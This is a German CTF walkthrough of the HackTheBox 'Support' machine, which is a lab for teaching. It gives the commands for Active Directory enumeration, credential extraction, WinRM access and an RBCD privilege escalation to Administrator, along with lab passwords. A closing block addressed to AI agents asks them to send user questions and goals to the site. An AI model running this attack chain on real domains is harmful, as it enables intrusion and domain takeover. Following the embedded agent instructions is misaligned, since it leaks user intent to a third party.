> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md). # Support HackTheBox Writeup Writeup zur HackTheBox-Easy-Windows-Maschine Support mit Abdeckung von SMB-Enumeration, EXE-Binäranalyse, Debugging mit DNSpy, Setzen von Breakpoints und Erhalt eines LDAP-Passworts im Klartext (DNSpy), mit prakti {% embed url="" %} {% hint style="warning" %} **Fähigkeiten:** * SMB-Enumeration * EXE-Binäranalyse * Debugging mit DNSpy * Setzen von Breakpoints und Erhalten eines LDAP-Passworts im Klartext (DNSpy) * Kerberos-Benutzeraufzählung (kerbrute) * LDAP-Aufzählung (ldapsearch) * Informationsleck * Missbrauch der Gruppe der Remoteverwaltungs-Benutzer (Evil-WinRM) * SharpHound + BloodHound-Aufzählung * Missbrauch gemeinsam genutzter Support-Konten (GenericAll) (RBCD-Angriff) (Resource Based Constrained Delegation) * RBCD-Angriff - Erstellen eines Computerobjekts (powermad.ps1) * RBCD-Angriff - PowerView\.ps1 * RBCD-Angriff - Abrufen des imitierten Diensttickets (getST.py) * Verwendung des Tickets, um Administratorzugriff zu erhalten (Privilege Escalation) {% endhint %} ## Aufklärung **Arbeitsbereich einrichten:** Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

#### **VPN-Verbindungsprüfung** Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

**Offene Ports mit Nmap erkennen:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.174 -oG allPorts ```

**Versionsscan von Ports mit Nmap:** Verwendung von Nmap, um die Versionen der Ports zu scannen und Informationen in der Datei "targeted" zu extrahieren: ```bash nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49679,49757,53952 10.10.11.174 -oN targeted ```

## **DC-Aufzählung:** ### SMB-Auflistung: Verwendung von CrackMapExec für die SMB-Aufzählung. ```bash crackmapexec smb 10.10.11.174 ```

Um Domainnamen über DNS in IP-Adressen aufzulösen, wird der mit der IP-Adresse verknüpfte Domainname in die `/etc/hosts` Datei

### **Kerberos-Liste:** Verwendung von Kerbrute zur Aufzählung von Benutzern. ```bash kerbrute userenum -d support.htb --dc 10.10.11.174 /usr/share/SecLists/Usernames/xato-net-10-million-usernames.txt ```

### **Erkundung von Netzwerkfreigaben:** Suche nach freigegebenen Ordnern im Netzwerk. ```bash smbmap -H 10.10.11.174 -u none ```

```bash smbclient //10.10.11.174/support-tools -N ```

Wir entdecken eine interessante ZIP-Datei namens "UserInfo-exe-zip". Um fortzufahren, verwenden wir den `get` Befehl, um sie auf unsere Maschine herunterzuladen.

### /*/* Analyse einer Windows-Binärdatei:/*/* Wir werden eine Windows-Exekutierbare auf einer Maschine mit Windows ausführen. Dazu müssen wir: 1. ZIP-Archiv übertragen

2. Migration der VPN-Konfiguration 3. `/etc/hosts` Konfiguration

Um die Binärdatei auszuführen und alle gültigen Benutzer zu identifizieren, geben Sie einfach den folgenden Befehl ein ```bash ./UserInfo.exe find -first * -last * ``` #### Diese Binärdatei wird es uns ermöglichen, Benutzer aufzulisten.

#### Analyse der mit DNspy heruntergeladenen Windows-Binärdatei. {% embed url="" %}

### **Extraktion eines Klartextpassworts:** Verwendung von DNspy zum Extrahieren eines Klartextpassworts aus einer Windows-Binärdatei.

Wir werden das Programm ausführen, aber wir werden nur in dem Abschnitt anhalten, in dem der Text klar ist.

Hier ist das LDAP-Passwort:

### **LDAP-Passwortprüfung:** Überprüfung des mit CrackMapExec extrahierten Passworts. ```bash crackmapexec smb 10.10.11.174 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' ```

### Domänenliste: ```bash rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 ``` #### Domänenbenutzer ``` enumdomusers ```

#### Domänengruppen ```bash enumdomgroups ```

#### Benutzerbeschreibungen: ```bash querydispinfo ```

#### Alle gültigen Domänenbenutzer in eine Datei einfügen. ```bash rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174 -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x |tr -d '[]' ```

#### Wir werden nun prüfen, ob das LDAP-Passwort für einen der folgenden Benutzer wiederverwendet wird: ```bash crackmapexec smb 10.10.11.174 -u users -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --continue-on-success ``` Dies funktioniert jedoch nicht.

### **LDAP-Auflistung:** {% embed url="" %} #### Verwendung von LDAP Search zur Aufzählung von Informationen. ```bash ldapsearch -x -H ldap://10.10.11.174 -D 'support.htb/ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=<1_SUBDOMAIN>,DC=" ``` #### Es sind viele Daten verfügbar, jedoch wird durch Anwendung eines Filters auf die Song-Informationen ein Passwort für den Support-Benutzer entdeckt. ```bash ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "info:" -B 20 ```

## **Ausnutzung:** #### Verwenden Sie CrackMapExec, um das mit dem Support-Konto verknüpfte Passwort zu bestätigen. ```bash crackmapexec smb 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful' ``` Dieser Benutzer ist Teil der Gruppe der Benutzer mit Remoteverwaltung, wodurch wir uns über Windows Remote Management (WinRM) verbinden können. ```bash evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful' ``` ### **Verwendung von Evil-WinRM:** Verbinden Sie sich über Evil-WinRM mit dem Zielsystem unter Verwendung der identifizierten Informationen.

## Privilegieneskalation ### **Überprüfung der aktuellen Berechtigungen:**
Unter Verwendung der `whoami /priv` Befehl zur Überprüfung der Benutzerberechtigungen, ohne Erfolg.

### **Analyse der Mitgliedsgruppen:** Unter Verwendung der `net user support` Befehl zur Überprüfung der Gruppen, denen der Benutzer angehört. Entdeckung einer offenbar seltenen Gruppe, "shared support accounts".

### **Verwendung von BloodHound zur Berechtigungsanalyse:** #### Verwendung des BloodHound-Tools zur Kartierung von Zugriffsbeziehungen. {% embed url="" %}

### **SharpHound-Ausführung zur weiteren Analyse:** Verwendung von SharpHound, einem ergänzenden Tool zu BloodHound, um zusätzliche Daten zu Zugriffsbeziehungen zu sammeln. ```powershell ./SharpHound.exe -c All ```

## Schwachstelle: Resource Based Constrained Delegation Attack: {% embed url="" %} ### **Identifizierung der Schwachstelle: Resource Based Constrained Delegation Attack:**

#### Bereitstellung des Powermad-Skripts zum Erstellen eines Maschinenkontos. {% embed url="" %} ```powershell upload Powemad.ps1 Import-Module ./Powermad.ps1 New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` #### Verwendung von PowerView zur Überprüfung der Erstellung des Maschinenkontos. {% embed url="" %} ```powershell upload PowerView.ps1 Import-Module ./PowerView.ps1 ```

#### Definition von Berechtigungen für das Maschinenkonto mittels PowerShell-Befehlen. ```powershell $ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} ``` #### Mit diesem Befehl prüfen wir, ob der gesamte Vorgang 'Get-DomainComputer dc' mit den Eigenschaften 'msds-allowedtoactonbehalfofather identity' funktioniert.'

### **Ausnutzung der Schwachstelle** #### Verwendung des Impacket-Tools zum Ausführen des `getST` Befehls, um ein TGT-Ticket zu erhalten, das den Benutzer Administrator imitiert. ```bash impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/SERVICEA$:123456 ```

#### Konfigurieren Sie die Kerberos-Umgebung des Administrators durch Exportieren von `KRB5CCNAME`, dann verbinden Sie sich mit dem Zielsystem mithilfe von Impacket `psexec`.
```bash export KRB5CCNAME=Administrator.ccache impacket-psexec -k dc.support.htb ```

### Endgültige Flagge :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/support-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.